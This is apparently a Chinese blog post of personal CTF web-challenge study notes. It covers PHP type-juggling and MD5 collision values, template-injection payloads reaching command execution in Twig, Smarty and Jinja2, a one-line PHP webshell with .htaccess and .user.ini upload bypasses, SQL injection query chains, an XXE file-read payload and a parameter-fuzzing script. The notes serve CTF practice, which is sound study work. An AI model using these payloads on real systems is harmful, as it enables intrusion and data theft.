CTF常用知识点整理(个人刷题中整理)

由于是之前刷题的整理,参照了很多大神的博客,由于过于零碎,没能记录下各位大神的文章出处(以后会提高版权意识的),如有侵权,私聊补加出处或者删文章。

博主是入门半年的萌新,文章不可避免会有很多错误,还请大家指正。

不是很了解格式问题,我的主页里上传了markdown文件,需要的也可以自行下载(免费下载),观感更好一点

### **PHP**

var_dump(  )    以列的形式展开数据,方便查看

scandir(    )        扫描某一文件夹目录

file_get_contents(   )      读取文件,拼接用'.' 如num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

base_convert() 函数 在任意进制之间转换数字,返回一个字符串

dechex() 函数:把十进制转换为十六进制。

hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。

readfile() 函数读取文件

localeconv()函数返回一包含本地数字及货币格式信息的数组

```
配套使用
利用**scandir()**,传入'.'显示当前所有目录,即scandir('.')

但 '.'被不符合正则匹配的规则

 然后利用**localeconv()**函数返回一包含本地数字及货币格式信息的数组(其数组的第一个值就是.)

利用指针指向数组的第一个值

**`current()`** 函数返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

**`pos()`** 函数返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

**scandir(localeconv(current()));**
**`next()`** 函数将内部指针指向数组中的下一个元素,并输出。返回的是数组具体的值,不能嵌套。
**`array_reverse()`** 函数返回翻转顺序的数组。
```

exit()函数在退出的同时会返回输出变量

preg_replace()正则匹配,转译

处理172.17.0.2' -v -d a=1时

escapeshellarg()            ->'172.17.0.2'\'' -v -d a=1'

escapeshellcmd()          ->'172.17.0.2'\\'' -v -d a=1\ '

->为引用类,=>为数组赋值

#### 弱等于与强等于

$key == $str进行数据转换,如0dff字符串被强制转换为了整形0

$key === $str 要求为同样的数据

#### MD5强相等而原值不相等

if (md5($id) === md5($gg) && $id !== $gg) 

原理:PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”**0E**”开头的,那么PHP将会认为他们相同,都是**0**。

利用数组绕过

id[]=1

gg[]=2

#### MD5相同的值

```
->QNKCDZO
0e830400451993494058024219903391
->s878926199a
0e545993274517709034328855841020
->s155964671a
0e342768416822451524974117254469
->s214587387a
0e848240448830537924465865611904
->s214587387a
0e848240448830537924465865611904
->s878926199a
0e545993274517709034328855841020
->s1091221200a
0e940624217856561557816327384675
因为0e开头是0的多少次方都为0,所以其md5值都相同
```

#### MD5强碰撞

```php
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) 
```

```
a = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

b = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

```

#### $md5==md5($md5)

md5(0e215962017,32) = 0e291242476940776845150308577824

0exxxx都为0

所以可以md5=0e215962017

### 模板注入

X-Forward-For:{7 * 7}         回显49为Smarty模板注入

X-Forward-For:{system('pwd')}     在{}中执行命令

user={{7*'7'}} 回显49 ==>Twig                        若回显7777777 ==> Jinja2

常用利用方式

Twig

```
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
```

Smarty

```
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if system('cat /flag')}{/if}
// another
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
```

Jinja2

```
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}
```

Flask

```
app.config['FLAG'] = os.environ.pop('FLAG') 是可以读取配置的

{{config}}应该是可以查看app.config的内容
/shrine/{{url_for.__globals__}}
/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__['current_app'.config]}}
```

### 文件上传

#### 常用后缀

.phtml

#### 一句话木马

<?php @eval($_POST['SHELL']);?>

#### nmap执行

?host=' <?php @eval($_POST("shell");?)> -oG shell.php '

#### 解析绕过

先利用报错来查看中间件为什么

nginx -> user.ini

apache -> .htaccess

两种方式

两种文件不要用记事本写!

htaccess:

```
<FilesMatch "test.jpg">
Sethandler application/x-httpd-php
</FilesMatch>

```

or

```.htaccess
<FilesMatch "test.jpg">
Sethandler application/x-httpd-php
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->

Addhandler php5-script .jpg
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->

</FilesMatch>

```

ini:

```ini
GIF89a

auto_append_file=shell1.jpg
```

<script language="php">system('cat /flag');</script> 

### 目录扫描

index.php.bat

user.php.bak

phpmyadmin

robots.txt

.git源码泄露,用GitHack下载源码

python2 GitHack.py http://XXX.com

/www.tar.gz

www.zip

### 网页请求头

referer:www.baidu.com表示网页自百度而来

User-Agent: firefox         表示代理浏览器为火狐

X-Forwarded-For:            表示用户IP

### 代码审计

#### 伪协议读取

secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

file=php://filter/read=convert.base64-encode/resource=useless.php

#### 伪协议写入

text=data://text/plain;base64,xxx(为相对应的base64编码)

?text=data://text/plain,I have a dream

#### 其他

$$x = $$y

### 反序列化

1. 构造对应的类

   ```
   class Flag{  //flag.php  
       public $file=flag.php;  
       public function __tostring(){  
           if(isset($this->file)){  
               echo file_get_contents($this->file); 
               echo "<br>";
           return ("U R SO CLOSE !///COME ON PLZ");
           }  
       }  
   }  
   ```

2. 实例化

   $a = new Flag();

3. 赋值序列化

   $a->file="flag.php";
   echo serialize($a);

4. 利用反序列化时注意前边就执行网页,而不是读取源代码了

```php
<?php
class FileHandler{
    protected $op = 2;
    protected $filename = "php://filter/read=convert.base64-encode/resource=http:\\799e1c75-aa7f-4330-8a8f-d26a79d3d62d.node3.buuoj.cn\\flag.php";
    protected $content;
}
    $a = new FileHandler();
    $b = serialize($a);
    echo($b);
?>
```

产生乱码是因为使用了protected,可以将其改为public

### SQL注入

#### 常用语句

1' order by 1,2,3,4,5%23   -->爆字段

1' union select * from a%23  -->回显xxx.a不存在,也就是说database为xxx

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="xxx"%23    -->爆表(字段为3,xxx为数据库名)

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = "xxxx"%23    -->爆列(xxxx为爆表中得到的表名)

1' union select 1,2,group_concat(id,username,password) from xxx%23 -->查看具体内容

xxx为表名,也可以用“数据名.列名”来表示

在联合查询并不存在的数据时,联合查询会构造一个虚拟的数据

() 代替空格, like代替等号

注意读取不全时,使用left,middle,right分段读取

#### 报错注入

注入的思路是一样的,知识利用了三个注入函数而已

floor extractvalue  xmlupdate

1'^extractvalue(1,concat(0x7e,(select**(**database()**)**)))%23

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

1'^extractvalue(1,concat(0x7e,(select(left((password),30))from(geek.H4rDsq1))))%23

#### 万能密码

1' or 1=1#跳过判断

#### 堆叠注入

分号相隔,命令依次执行

如1;show databases;

​    1;show tables;

​    *,1代表当前数组的第二个值

#### Oracle与Mysql

Oracle支持

select $_GET['query'] || flag from flag

这样的拼接方式

此处的||不是或的意思,是用来拼接字符串

如果是mysql则为

1;set sql_mod=PIPES_AS_CONCAT;select 1

#### handler绕过

handler xxx open打开表

handler xxx read 读

handler xxx close 关闭

比如

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

其中first表示读取第一个字段

#### 其他绕过

##### union select

hpp参数污染绕过?no=-1 (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4#

内联注释绕过?no=-1 union/*!/*!50000select 1,2,3,4*/#

内联注释绕过?no=-1 union/*!/**/%0aselect*/ 1,2,3,4#(%0a为换行符)

内联注释绕过?no=-1 UnIoN/**/SeLecT/**/1,2,3,4# (注意这里不是加粗,时/* * /xx/ * */)

详情见大佬blog:https://www.cnblogs.com/xinxin999/p/12521014.html

### session伪造

利用secret_key及开源项目解密

组成为  1x.2x.3x

1x为信息内容,2x为时间,3x为前两项结合的加密

只有3x与前面符合才能生成正确的session信息

### Fuzz渗透测试

目录穿越../

多线程测试脚本实例(涉及I/O操作的,多线程会快很多)

```python
import os            #操纵文件目录
import requests        #获取站点信息
import re            #正则匹配
import threading    #多线程
import time            #运行时间
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)                                            #这儿设置最大的线程数
filePath = r"D:/phpstudy_pro/WWW"
os.chdir(filePath)                                                    #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5                                #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False                                             # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()                                                
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:                            #打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}                                                        #所有的$_POST
    params = {}                                                        #所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)            #一次性请求所有的GET和POST
    req.close()                                                # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:                                    #如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()                                                # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()                                                # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:                                                    #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:                                                            #加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

```

### 其他

 ffffllllaaaagggg可能提示目录穿越四级

?  -->   %3F   -->   %253F(二次url加密)

参数在我个人的认识里要么是文件包含,要么是涉及php强弱类型等,但这些一般都会给出源代码,这个题显然没有

那么还有一种可能就是sql注入

题目中填写注册信息中有类似于博客地址这类的可能为SSRF

XML实体注入

```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
    <!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123</password></user>
```

jsp架构中WEB-INF是其安全目录,客户端用户不可以直接访问

WEB-INF主要包含以下文件或目录: /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中 /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件 漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,通过反编译class文件,得到网站源码

Nginx配置文件信息

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

num要求num小于2000但num+1要大于2001

intval('2e4') = 2
'2e4'+1 = float(20001)
intval('2e4'+1) = 20001
you pass!

输入参数?num=2e4

cat  -> more

空格  -> $IFS$9

cat    ->   tac

cat和tac两者正好相反,tac从最末一行开始显示文件,每行的字符顺序不变

### **常用字符转换**

#### Unicode转换

https://www.compart.com/en/unicode/

#### 数学运算

is_nan64 ==>_G

tan15 ==>ET

异或

1 ^ 1 = 0

0 ^ 0 = 0

1 ^ 0 = 1

#### url编码

```
%23  #
```

#### ASCII:

```
chr(9) tab空格
chr(10) 换行 
chr(13) 回车   
Chr(13)&chr(10) 回车换行    
chr(32) 空格符    
chr(34) 双引号  
chr(39) 单引号
chr(33) !    
chr(34) "    
chr(35) #      
chr(36) $   
chr(37) %    
chr(38) &      
chr(39) '     
chr(40) (    
chr(41) )     
chr(42) *
chr(43) +    
chr(44) ,     
chr(45) -      
chr(46) .     
chr(47) /
Chr(48) 0    
Chr(49) 1  
Chr(50) 2    
Chr(51) 3     
Chr(52) 4     
Chr(53) 5    
Chr(54) 6     
Chr(55) 7     
Chr(56) 8     
Chr(57) 9
chr(58)      
chr(59) ;   
chr(60) <     
chr(61) =     
chr(62) >      
chr(63) ?     
chr(64) @
chr(65) A    
chr(66) B   
chr(67) C  
chr(68) D    
chr(69) E     
chr(70) F       
chr(71) G    
chr(72) H    
chr(73) I    
chr(74) J
chr(75) K    
chr(76) L   
chr(77) M   
chr(78) N    
chr(79) O     
chr(80) P     
chr(81) Q     
chr(82) R     
chr(83) S    
chr(84) T
chr(85) U    
chr(86) V    
chr(87) W   
chr(88) X     
chr(89) Y    
chr(90) Z
chr(91) [   
chr(92) \     
chr(93) ]    
chr(94) ^  
chr(95) _   
chr(96) `
chr(97) a  
chr(98) b  
chr(99) c    
chr(100) d    
chr(101) e     
chr(102) f      
chr(103) g    
chr(104) h   
chr(105) i
chr(106) j    
chr(107) k    
chr(108) l    
chr(109) m    
chr(110) n   
chr(111) o   
chr(112) p    
chr(113) q    
chr(114) r
chr(115) s     
chr(116) t    
chr(117) u   
chr(118) v    
chr(119) w    
chr(120) x     
chr(121) y   
chr(122) z
chr(123) {
chr(124) |    
chr(125) }    
chr(126) ~    
chr(127)      
chr(128)       
chr(153)™     
chr(169) ©       
chr(174) ®
```

     

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值